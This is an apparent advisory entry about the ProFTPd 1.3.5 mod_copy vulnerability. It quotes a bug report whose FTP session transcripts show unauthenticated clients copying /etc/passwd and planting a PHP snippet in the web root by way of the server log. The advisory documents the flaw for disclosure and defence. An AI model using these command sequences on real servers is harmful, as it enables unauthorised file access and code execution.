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ProFTPd 1.3.5 File Copy

🗓️ 18 Apr 2015 00:00:00Reported by Packet StormType 
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ProFTPd 1.3.5 File Copy vulnerability with mod_copy module allowing unauthorized clients to execute commands, leading to potential file manipulation and permission issues

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`Description TJ Saunders 2015-04-07 16:35:03 UTC  
Vadim Melihow reported a critical issue with proftpd installations that use the  
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands  
to be used by *unauthenticated clients*:  
  
---------------------------------  
Trying 80.150.216.115...  
Connected to 80.150.216.115.  
Escape character is '^]'.  
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]  
site help  
214-The following SITE commands are recognized (* =>'s unimplemented)  
214-CPFR <sp> pathname  
214-CPTO <sp> pathname  
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path  
214-SYMLINK <sp> source <sp> destination  
214-RMDIR <sp> path  
214-MKDIR <sp> path  
214-The following SITE extensions are recognized:  
214-RATIO -- show all ratios in effect  
214-QUOTA  
214-HELP  
214-CHGRP  
214-CHMOD  
214 Direct comments to root@www01a  
site cpfr /etc/passwd  
350 File or directory exists, ready for destination name  
site cpto /tmp/passwd.copy  
250 Copy successful  
-----------------------------------------  
  
He provides another, scarier example:  
  
------------------------------  
site cpfr /etc/passwd  
350 File or directory exists, ready for destination name  
site cpto <?php phpinfo(); ?>  
550 cpto: Permission denied  
site cpfr /proc/self/fd/3  
350 File or directory exists, ready for destination name  
site cpto /var/www/test.php  
  
test.php now contains  
----------------------  
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q  
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument  
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q  
(slon-P5Q.lan[192.168.3.193]): FTP session opened.  
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q  
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php  
phpinfo(); ?>' for copying: Permission denied  
-----------------------  
  
test.php contains contain correct php script "<?php phpinfo(); ?>" which  
can be run by the php interpreter  
  
Source: http://bugs.proftpd.org/show_bug.cgi?id=4169  
  
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